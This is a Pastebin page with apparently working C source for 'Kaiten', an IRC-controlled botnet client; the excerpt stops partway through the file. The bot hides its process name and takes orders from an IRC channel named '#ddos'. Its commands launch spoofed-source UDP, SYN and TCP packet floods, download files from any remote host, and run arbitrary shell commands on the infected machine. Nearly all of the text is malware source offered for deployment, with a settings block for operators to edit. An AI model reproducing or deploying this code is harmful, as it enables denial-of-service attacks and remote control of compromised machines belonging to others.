Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!

Kaiten.c

By: Infecteur on Feb 6th, 2012  |  syntax: C++  |  size: 35.64 KB  |  views: 557  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. ////////////////////////////////////////////////////////////////////////////////
  2. //                                EDIT THESE                                  //
  3. ////////////////////////////////////////////////////////////////////////////////
  4. #define STARTUP                 // Start on startup?
  5. #undef IDENT                    // Only enable this if you absolutely have to
  6. #define FAKENAME "-bash"        // What you want this to hide as
  7. #define CHAN "#ddos"            // Channel to join
  8. #define KEY "Ouss"              // The key of the channel
  9. int numservers=1;               // Must change this to equal number of servers down there
  10. char *servers[] = {             // List the servers in that format, always end in (void*)0
  11.         "irc.infecteur.dz",
  12.         (void*)0
  13. };
  14. ////////////////////////////////////////////////////////////////////////////////
  15. //                               STOP HERE!                                   //
  16. ////////////////////////////////////////////////////////////////////////////////
  17. #include <stdarg.h>
  18. #include <errno.h>
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <string.h>
  22. #include <sys/types.h>
  23. #include <sys/stat.h>
  24. #include <fcntl.h>
  25. #include <strings.h>
  26. #include <netinet/in.h>
  27. #include <unistd.h>
  28. #include <sys/time.h>
  29. #include <sys/socket.h>
  30. #include <signal.h>
  31. #include <arpa/inet.h>
  32. #include <netdb.h>
  33. #include <time.h>
  34. #include <sys/wait.h>
  35. #include <sys/ioctl.h>
  36. int sock,changeservers=0;
  37. char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
  38. unsigned int *pids;
  39. unsigned long spoofs=0, spoofsm=0, numpids=0;
  40. int strwildmatch(const char* pattern, const char* string) {
  41.         switch(*pattern) {
  42.                 case '\0': return *string;
  43.                 case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  44.                 case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  45.                 default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  46.         }
  47. }
  48. int Send(int sock, char *words, ...) {
  49.         static char textBuffer[1024];
  50.         va_list args;
  51.         va_start(args, words);
  52.         vsprintf(textBuffer, words, args);
  53.         va_end(args);
  54.         return write(sock,textBuffer,strlen(textBuffer));
  55. }
  56. int mfork(char *sender) {
  57.         unsigned int parent, *newpids, i;
  58.         if (disabled == 1) {
  59.                 Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  60.                 return 1;
  61.         }
  62.         parent=fork();
  63.         if (parent <= 0) return parent;
  64.         numpids++;
  65.         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  66.         for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  67.         newpids[numpids-1]=parent;
  68.         free(pids);
  69.         pids=newpids;
  70.         return parent;
  71. }
  72. unsigned long getspoof() {
  73.         if (!spoofs) return rand();
  74.         if (spoofsm == 1) return ntohl(spoofs);
  75.         return ntohl(spoofs+(rand() % spoofsm)+1);
  76. }
  77. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  78. char *makestring() {
  79. char *tmp;
  80. int len=13,i;
  81. tmp=(char*)malloc(len+1);
  82. memset(tmp,0,len+1);
  83. for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  84. tmp[0]='[';
  85. tmp[1]='K';
  86. tmp[2]='a';
  87. tmp[3]='I';
  88. tmp[4]=']';
  89. return tmp;
  90. }
  91. void identd() {
  92.         int sockname,sockfd,sin_size,tmpsock,i;
  93.         struct sockaddr_in my_addr,their_addr;
  94.         char szBuffer[1024];
  95.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  96.         my_addr.sin_family = AF_INET;
  97.         my_addr.sin_port = htons(113);
  98.         my_addr.sin_addr.s_addr = INADDR_ANY;
  99.         memset(&(my_addr.sin_zero), 0, 8);
  100.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  101.         if (listen(sockfd, 1) == -1) return;
  102.         if (fork() == 0) return;
  103.         sin_size = sizeof(struct sockaddr_in);
  104.         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  105.         for(;;) {
  106.                 fd_set bla;
  107.                 struct timeval timee;
  108.                 FD_ZERO(&bla);
  109.                 FD_SET(tmpsock,&bla);
  110.                 timee.tv_sec=timee.tv_usec=60;
  111.                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  112.                 if (FD_ISSET(tmpsock,&bla)) break;
  113.         }
  114.         i = recv(tmpsock,szBuffer,1024,0);
  115.         if (i <= 0 || i >= 20) exit(0);
  116.         szBuffer[i]=0;
  117.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  118.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  119.         Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  120.         close(tmpsock);
  121.         close(sockfd);
  122.         exit(0);
  123. }
  124. long pow(long a, long b) {
  125.         if (b == 0) return 1;
  126.         if (b == 1) return a;
  127.         return a*pow(a,b-1);
  128. }
  129. u_short in_cksum(u_short *addr, int len) {
  130.         register int nleft = len;
  131.         register u_short *w = addr;
  132.         register int sum = 0;
  133.         u_short answer =0;
  134.         while (nleft > 1) {
  135.                 sum += *w++;
  136.                 nleft -= 2;
  137.         }
  138.         if (nleft == 1) {
  139.                 *(u_char *)(&answer) = *(u_char *)w;
  140.                 sum += answer;
  141.         }
  142.         sum = (sum >> 16) + (sum & 0xffff);
  143.         sum += (sum >> 16);
  144.         answer = ~sum;
  145.         return(answer);
  146. }
  147. void get(int sock, char *sender, int argc, char **argv) {
  148.         int sock2,i,d;
  149.         struct sockaddr_in server;
  150.         unsigned long ipaddr;
  151.         char buf[1024];
  152.         FILE *file;
  153.         unsigned char bufm[4096];
  154.         if (mfork(sender) != 0) return;
  155.         if (argc < 2) {
  156.                 Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
  157.                 exit(0);
  158.         }
  159.         if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  160.                 Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
  161.                 exit(0);
  162.         }
  163.         if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
  164.         else strcpy(buf,argv[1]);
  165.         for (i=0;i<strlen(buf) && buf[i] != '/';i++);
  166.         buf[i]=0;
  167.         server.sin_family = AF_INET;
  168.         server.sin_port = htons(80);
  169.         if ((ipaddr = inet_addr(buf)) == -1) {
  170.                 struct hostent *hostm;
  171.                 if ((hostm=gethostbyname(buf)) == NULL) {
  172.                         Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
  173.                         exit(0);
  174.                 }
  175.                 memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
  176.         }
  177.         else server.sin_addr.s_addr = ipaddr;
  178.         memset(&(server.sin_zero), 0, 8);
  179.         if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
  180.                 Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
  181.                 exit(0);
  182.         }
  183.  
  184.         Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
  185.         Send(sock,"NOTICE %s :Receiving file.\n",sender);
  186.         file=fopen(argv[2],"wb");
  187.         while(1) {
  188.                 int i;
  189.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  190.                 if (i < 4096) bufm[i]=0;
  191.                 for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
  192.                         for (d+=4;d<i;d++) fputc(bufm[d],file);
  193.                         goto done;
  194.                 }
  195.         }
  196.         done:
  197.         Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
  198.         while(1) {
  199.                 int i,d;
  200.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  201.                 if (i < 4096) bufm[i]=0;
  202.                 for (d=0;d<i;d++) fputc(bufm[d],file);
  203.         }
  204.         fclose(file);
  205.         close(sock2);
  206.         exit(0);
  207. }
  208. void getspoofs(int sock, char *sender, int argc, char **argv) {
  209.         unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  210.         if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  211.         else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  212. }
  213. void version(int sock, char *sender, int argc, char **argv) {
  214.         Send(sock,"NOTICE %s :Kaiten wa goraku\n",sender);
  215. }
  216. void nickc(int sock, char *sender, int argc, char **argv) {
  217.         if (argc != 1) {
  218.                 Send(sock,"NOTICE %s :NICK <nick>\n",sender);
  219.                 return;
  220.         }
  221.         if (strlen(argv[1]) >= 10) {
  222.                 Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
  223.                 return;
  224.         }
  225.         Send(sock,"NICK %s\n",argv[1]);
  226. }
  227. void disable(int sock, char *sender, int argc, char **argv) {
  228.         if (argc != 1) {
  229.                 Send(sock,"NOTICE %s :DISABLE <pass>\n",sender);
  230.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  231.                 return;
  232.         }
  233.         if (disabled) {
  234.                 Send(sock,"NOTICE %s :Already disabled.\n",sender);
  235.                 return;
  236.         }
  237.         if (strlen(argv[1]) > 254) {
  238.                 Send(sock,"NOTICE %s :Password too long! > 254\n",sender);
  239.                 return;
  240.         }
  241.         disabled=1;
  242.         memset(dispass,0,256);
  243.         strcpy(dispass,argv[1]);
  244.         Send(sock,"NOTICE %s :Disable sucessful.\n");
  245. }
  246. void enable(int sock, char *sender, int argc, char **argv) {
  247.         if (argc != 1) {
  248.                 Send(sock,"NOTICE %s :ENABLE <pass>\n",sender);
  249.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  250.                 return;
  251.         }
  252.         if (!disabled) {
  253.                 Send(sock,"NOTICE %s :Already enabled.\n",sender);
  254.                 return;
  255.         }
  256.         if (strcasecmp(dispass,argv[1])) {
  257.                 Send(sock,"NOTICE %s :Wrong password\n",sender);
  258.                 return;
  259.         }
  260.         disabled=0;
  261.         Send(sock,"NOTICE %s :Password correct.\n",sender);
  262. }
  263. void spoof(int sock, char *sender, int argc, char **argv) {
  264.         char ip[256];
  265.         int i, num;
  266.         unsigned long uip;
  267.         if (argc != 1) {
  268.                 Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
  269.                 spoofs=0;
  270.                 spoofsm=0;
  271.                 return;
  272.         }
  273.         if (strlen(argv[1]) > 16) {
  274.                 Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
  275.                 return;
  276.         }
  277.         strcpy(ip,argv[1]);
  278.         if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  279.         for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  280.         num=-(num-4);
  281.         for (i=0;i<num;i++) strcat(ip,".0");
  282.         uip=inet_network(ip);
  283.         if (num == 0) spoofsm=1;
  284.         else spoofsm=pow(256,num);
  285.         spoofs=uip;
  286. }
  287. struct iphdr {
  288.         unsigned int ihl:4, version:4;
  289.         unsigned char tos;
  290.         unsigned short tot_len;
  291.         unsigned short id;
  292.         unsigned short frag_off;
  293.         unsigned char ttl;
  294.         unsigned char protocol;
  295.         unsigned short check;
  296.         unsigned long saddr;
  297.         unsigned long daddr;
  298. };
  299. struct udphdr {
  300.         unsigned short source;
  301.         unsigned short dest;
  302.         unsigned short len;
  303.         unsigned short check;
  304. };
  305. struct tcphdr {
  306.         unsigned short source;
  307.         unsigned short dest;
  308.         unsigned long seq;
  309.         unsigned long ack_seq;
  310.         unsigned short res1:4, doff:4;
  311.         unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
  312.         unsigned short window;
  313.         unsigned short check;
  314.         unsigned short urg_ptr;
  315. };
  316. struct send_tcp {
  317.         struct iphdr ip;
  318.         struct tcphdr tcp;
  319.         char buf[20];
  320. };
  321. struct pseudo_header {
  322.         unsigned int source_address;
  323.         unsigned int dest_address;
  324.         unsigned char placeholder;
  325.         unsigned char protocol;
  326.         unsigned short tcp_length;
  327.         struct tcphdr tcp;
  328.         char buf[20];
  329. };
  330. unsigned int host2ip(char *sender,char *hostname) {
  331.         static struct in_addr i;
  332.         struct hostent *h;
  333.         if((i.s_addr = inet_addr(hostname)) == -1) {
  334.                 if((h = gethostbyname(hostname)) == NULL) {
  335.                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  336.                         exit(0);
  337.                 }
  338.                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  339.         }
  340.         return i.s_addr;
  341. }
  342. void udp(int sock, char *sender, int argc, char **argv) {
  343.         unsigned int port,i=0;
  344.         unsigned long psize,target,secs;
  345.         struct sockaddr_in s_in;
  346.         struct iphdr *ip;
  347.         struct udphdr *udp;
  348.         char buf[1500],*str;
  349.         int get;
  350.         time_t start=time(NULL);
  351.         if (mfork(sender) != 0) return;
  352.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  353.         if (argc < 3) {
  354.                 Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
  355.                 exit(1);
  356.         }
  357.         target = host2ip(sender,argv[1]);
  358.         port = atoi(argv[2]);
  359.         secs = atol(argv[3]);
  360.         ip=(void*)buf;
  361.         udp=(void*)(buf+sizeof(struct iphdr));
  362.         str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
  363.         memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
  364.         Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
  365.         ip->ihl = 5;
  366.         ip->version = 4;
  367.         ip->tos = 0;
  368.         ip->tot_len = 1500;
  369.         ip->frag_off = 0;
  370.         ip->protocol = 17;
  371.         ip->ttl = 64;
  372.         ip->daddr = target;
  373.         udp->len = htons(psize);
  374.         s_in.sin_family  = AF_INET;
  375.         s_in.sin_addr.s_addr = target;
  376.         for (;;) {
  377.                 udp->source = rand();
  378.                 if (port) udp->dest = htons(port);
  379.                 else udp->dest = rand();
  380.                 udp->check = in_cksum((u_short *)buf,1500);
  381.                 ip->saddr = getspoof();
  382.                 ip->id = rand();
  383.                 ip->check = in_cksum((u_short *)buf,1500);
  384.                 s_in.sin_port = udp->dest;
  385.                 sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
  386.                 if (i >= 50) {
  387.                         if (time(NULL) >= start+secs) exit(0);
  388.                         i=0;
  389.                 }
  390.                 i++;
  391.         }
  392. }
  393. void pan(int sock, char *sender, int argc, char **argv) {
  394.         struct send_tcp send_tcp;
  395.         struct pseudo_header pseudo_header;
  396.         struct sockaddr_in sin;
  397.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  398.         unsigned int psize=20, source, dest, check;
  399.         unsigned long saddr, daddr,secs;
  400.         int get;
  401.         time_t start=time(NULL);
  402.         if (mfork(sender) != 0) return;
  403.         if (argc < 3) {
  404.                 Send(sock,"NOTICE %s :PAN <target> <port> <secs>\n",sender);
  405.                 exit(1);
  406.         }
  407.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  408.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  409.         daddr=host2ip(sender,argv[1]);
  410.         secs=atol(argv[3]);
  411.         Send(sock,"NOTICE %s :Panning %s.\n",sender,argv[1]);
  412.         send_tcp.ip.ihl = 5;
  413.         send_tcp.ip.version = 4;
  414.         send_tcp.ip.tos = 16;
  415.         send_tcp.ip.frag_off = 64;
  416.         send_tcp.ip.ttl = 64;
  417.         send_tcp.ip.protocol = 6;
  418.         send_tcp.tcp.ack_seq = 0;
  419.         send_tcp.tcp.doff = 10;
  420.         send_tcp.tcp.res1 = 0;
  421.         send_tcp.tcp.cwr = 0;
  422.         send_tcp.tcp.ece = 0;
  423.         send_tcp.tcp.urg = 0;
  424.         send_tcp.tcp.ack = 0;
  425.         send_tcp.tcp.psh = 0;
  426.         send_tcp.tcp.rst = 0;
  427.         send_tcp.tcp.fin = 0;
  428.         send_tcp.tcp.syn = 1;
  429.         send_tcp.tcp.window = 30845;
  430.         send_tcp.tcp.urg_ptr = 0;
  431.         dest=htons(atoi(argv[2]));
  432.         while(1) {
  433.                 source=rand();
  434.                 if (atoi(argv[2]) == 0) dest=rand();
  435.                 saddr=getspoof();
  436.                 send_tcp.ip.tot_len = htons(40+psize);
  437.                 send_tcp.ip.id = rand();
  438.                 send_tcp.ip.saddr = saddr;
  439.                 send_tcp.ip.daddr = daddr;
  440.                 send_tcp.ip.check = 0;
  441.                 send_tcp.tcp.source = source;
  442.                 send_tcp.tcp.dest = dest;
  443.                 send_tcp.tcp.seq = rand();
  444.                 send_tcp.tcp.check = 0;
  445.                 sin.sin_family = AF_INET;
  446.                 sin.sin_port = dest;
  447.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  448.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  449.                 check = rand();
  450.                 send_tcp.buf[9]=((char*)&check)[0];
  451.                 send_tcp.buf[10]=((char*)&check)[1];
  452.                 send_tcp.buf[11]=((char*)&check)[2];
  453.                 send_tcp.buf[12]=((char*)&check)[3];
  454.                 pseudo_header.source_address = send_tcp.ip.saddr;
  455.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  456.                 pseudo_header.placeholder = 0;
  457.                 pseudo_header.protocol = IPPROTO_TCP;
  458.                 pseudo_header.tcp_length = htons(20+psize);
  459.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  460.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  461.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  462.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  463.                 if (a >= 50) {
  464.                         if (time(NULL) >= start+secs) exit(0);
  465.                         a=0;
  466.                 }
  467.                 a++;
  468.         }
  469.         close(get);
  470.         exit(0);
  471. }
  472. void tsunami(int sock, char *sender, int argc, char **argv) {
  473.         struct send_tcp send_tcp;
  474.         struct pseudo_header pseudo_header;
  475.         struct sockaddr_in sin;
  476.         unsigned int psize=1400, check,i;
  477.         unsigned long saddr, daddr,secs;
  478.         int get;
  479.         time_t start=time(NULL);
  480.         if (mfork(sender) != 0) return;
  481.         if (argc < 2) {
  482.                 Send(sock,"NOTICE %s :TSUNAMI <target> <secs>\n",sender);
  483.                 exit(1);
  484.         }
  485.         secs=atol(argv[2]);
  486.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  487.         srand(time(NULL) ^ getpid());
  488.         memset(send_tcp.buf,rand(),psize);
  489.         daddr=host2ip(sender,argv[1]);
  490.         Send(sock,"NOTICE %s :Tsunami heading for %s.\n",sender,argv[1]);
  491.         while(1) {
  492.                 saddr=getspoof();
  493.                 send_tcp.ip.ihl = 5;
  494.                 send_tcp.ip.version = 4;
  495.                 send_tcp.ip.tos = 16;
  496.                 send_tcp.ip.tot_len = htons(40+psize);
  497.                 send_tcp.ip.id = rand();
  498.                 send_tcp.ip.frag_off = 64;
  499.                 send_tcp.ip.ttl = 64;
  500.                 send_tcp.ip.protocol = 6;
  501.                 send_tcp.ip.check = 0;
  502.                 send_tcp.ip.saddr = saddr;
  503.                 send_tcp.ip.daddr = daddr;
  504.                 send_tcp.tcp.source = rand();
  505.                 send_tcp.tcp.dest = rand();
  506.                 send_tcp.tcp.seq = rand();
  507.                 send_tcp.tcp.ack_seq = rand();
  508.                 send_tcp.tcp.doff = 5;
  509.                 send_tcp.tcp.res1 = 0;
  510.                 send_tcp.tcp.cwr = 0;
  511.                 send_tcp.tcp.ece = 0;
  512.                 send_tcp.tcp.urg = 0;
  513.                 send_tcp.tcp.ack = 1;
  514.                 send_tcp.tcp.psh = 1;
  515.                 send_tcp.tcp.rst = 0;
  516.                 send_tcp.tcp.fin = 0;
  517.                 send_tcp.tcp.syn = 0;
  518.                 send_tcp.tcp.window = 30845;
  519.                 send_tcp.tcp.check = 0;
  520.                 send_tcp.tcp.urg_ptr = 0;
  521.                 sin.sin_family = AF_INET;
  522.                 sin.sin_port = send_tcp.tcp.dest;
  523.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  524.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  525.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  526.                 pseudo_header.source_address = send_tcp.ip.saddr;
  527.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  528.                 pseudo_header.placeholder = 0;
  529.                 pseudo_header.protocol = IPPROTO_TCP;
  530.                 pseudo_header.tcp_length = htons(20+psize);
  531.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  532.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  533.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  534.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  535.                 if (i >= 50) {
  536.                         if (time(NULL) >= start+secs) break;
  537.                         i=0;
  538.                 }
  539.                 i++;
  540.         }
  541.         close(get);
  542.         exit(0);
  543. }
  544. void unknown(int sock, char *sender, int argc, char **argv) {
  545.         int flag=1,fd,i;
  546.         unsigned long secs;
  547.         char *buf=(char*)malloc(9216);
  548.         struct hostent *hp;
  549.         struct sockaddr_in in;
  550.         time_t start=time(NULL);
  551.         if (mfork(sender) != 0) return;
  552.         if (argc < 2) {
  553.                 Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
  554.                 exit(1);
  555.         }
  556.         secs=atol(argv[2]);
  557.         memset((void*)&in,0,sizeof(struct sockaddr_in));
  558.         in.sin_addr.s_addr=host2ip(sender,argv[1]);
  559.         in.sin_family = AF_INET;
  560.         Send(sock,"NOTICE %s :Unknowning %s.\n",sender,argv[1]);
  561.         while(1) {
  562.                 in.sin_port = rand();
  563.                 if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  564.                 else {
  565.                         flag=1;
  566.                         ioctl(fd,FIONBIO,&flag);
  567.                         sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  568.                         close(fd);
  569.                 }
  570.                 if (i >= 50) {
  571.                         if (time(NULL) >= start+secs) break;
  572.                         i=0;
  573.                 }
  574.                 i++;
  575.         }
  576.         close(fd);
  577.         exit(0);
  578. }
  579. void move(int sock, char *sender, int argc, char **argv) {
  580.         if (argc < 1) {
  581.                 Send(sock,"NOTICE %s :MOVE <server>\n",sender);
  582.                 exit(1);
  583.         }
  584.         server=strdup(argv[1]);
  585.         changeservers=1;
  586.         close(sock);
  587. }
  588. void help(int sock, char *sender, int argc, char **argv) {
  589.         if (mfork(sender) != 0) return;
  590.         Send(sock,"NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewalls\n",sender); sleep(2);
  591.         Send(sock,"NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers\n",sender); sleep(2);
  592.         Send(sock,"NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder\n",sender); sleep(2);
  593.         Send(sock,"NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder\n",sender); sleep(2);
  594.  
  595.         Send(sock,"NOTICE %s :NICK <nick>                                      = Changes the nick of the client\n",sender); sleep(2);
  596.         Send(sock,"NOTICE %s :SERVER <server>                                  = Changes servers\n",sender); sleep(2);
  597.         Send(sock,"NOTICE %s :GETSPOOFS                                        = Gets the current spoofing\n",sender); sleep(2);
  598.         Send(sock,"NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet\n",sender); sleep(2);
  599.  
  600.         Send(sock,"NOTICE %s :DISABLE                                          = Disables all packeting from this client\n",sender); sleep(2);
  601.         Send(sock,"NOTICE %s :ENABLE                                           = Enables all packeting from this client\n",sender); sleep(2);
  602.  
  603.         Send(sock,"NOTICE %s :KILL                                             = Kills the client\n",sender); sleep(2);
  604.         Send(sock,"NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd\n",sender); sleep(2);
  605.         Send(sock,"NOTICE %s :VERSION                                          = Requests version of client\n",sender); sleep(2);
  606.         Send(sock,"NOTICE %s :KILLALL                                          = Kills all current packeting\n",sender); sleep(2);
  607.         Send(sock,"NOTICE %s :HELP                                             = Displays this\n",sender);
  608.  
  609.         Send(sock,"NOTICE %s :IRC <command>                                    = Sends this command to the server\n",sender); sleep(2);
  610.         Send(sock,"NOTICE %s :SH <command>                                     = Executes a command\n",sender); sleep(2);
  611.         exit(0);
  612. }
  613. void killall(int sock, char *sender, int argc, char **argv) {
  614.         unsigned long i;
  615.         for (i=0;i<numpids;i++) {
  616.                 if (pids[i] != 0 && pids[i] != getpid()) {
  617.                         if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
  618.                         kill(pids[i],9);
  619.                 }
  620.         }
  621. }
  622. void killd(int sock, char *sender, int argc, char **argv) {
  623.         if (!disable) kill(0,9);
  624.         else Send(sock,"NOTICE %s :Unable to comply.\n");
  625. }
  626. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  627.         { "TSUNAMI", tsunami },
  628.         { "PAN", pan },
  629.         { "UDP", udp },
  630.         { "UNKNOWN", unknown },
  631.  
  632.         { "NICK", nickc },
  633.         { "SERVER", move },
  634.         { "GETSPOOFS", getspoofs },
  635.         { "SPOOFS", spoof },
  636.  
  637.         { "DISABLE", disable },
  638.         { "ENABLE", enable },
  639.  
  640.         { "KILL", killd },
  641.         { "GET", get },
  642.         { "VERSION", version },
  643.         { "KILLALL", killall },
  644.         { "HELP", help },
  645. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  646. void _PRIVMSG(int sock, char *sender, char *str) {
  647.         int i;
  648.         char *to, *message;
  649.         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  650.         str[i]=0;
  651.         to=str;
  652.         message=str+i+2;
  653.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  654.         sender[i]=0;
  655.         if (*message == '!' && !strcasecmp(to,chan)) {
  656.                 char *params[12], name[1024]={0};
  657.                 int num_params=0, m;
  658.                 message++;
  659.                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
  660.                 message[i]=0;
  661.                 if (strwildmatch(message,nick)) return;
  662.                 message+=i+1;
  663.                 if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else Send(sock,"%s\n",message+4);
  664.                 if (!strncmp(message,"SH ",3)) {
  665.                         char buf[1024];
  666.                         FILE *command;
  667.                         if (mfork(sender) != 0) return;
  668.                         memset(buf,0,1024);
  669.                         sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
  670.                         command=popen(buf,"r");
  671.                         while(!feof(command)) {
  672.                                 memset(buf,0,1024);
  673.                                 fgets(buf,1024,command);
  674.                                 Send(sock,"NOTICE %s :%s\n",sender,buf);
  675.                                 sleep(1);
  676.                         }
  677.                         pclose(command);
  678.                         exit(0);
  679.                 }
  680.                 m=strlen(message);
  681.                 for (i=0;i<m;i++) {
  682.                         if (*message == ' ' || *message == 0) break;
  683.                         name[i]=*message;
  684.                         message++;
  685.                 }
  686.                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  687.                 num_params++;
  688.                 if (num_params > 10) num_params=10;
  689.                 params[0]=name;
  690.                 params[num_params+1]="\0";
  691.                 m=1;
  692.                 while (*message != 0) {
  693.                         message++;
  694.                         if (m >= num_params) break;
  695.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  696.                         params[m]=(char*)malloc(i+1);
  697.                         strncpy(params[m],message,i);
  698.                         params[m][i]=0;
  699.                         m++;
  700.                         message+=i;
  701.                 }
  702.                 for (m=0; flooders[m].cmd != (char *)0; m++) {
  703.                         if (!strcasecmp(flooders[m].cmd,name)) {
  704.                                 flooders[m].func(sock,sender,num_params-1,params);
  705.                                 for (i=1;i<num_params;i++) free(params[i]);
  706.                                 return;
  707.                         }
  708.                 }
  709.         }
  710. }
  711. void _376(int sock, char *sender, char *str) {
  712.         Send(sock,"MODE %s -xi\n",nick);
  713.         Send(sock,"JOIN %s :%s\n",chan,key);
  714.         Send(sock,"WHO %s\n",nick);
  715. }
  716. void _PING(int sock, char *sender, char *str) {
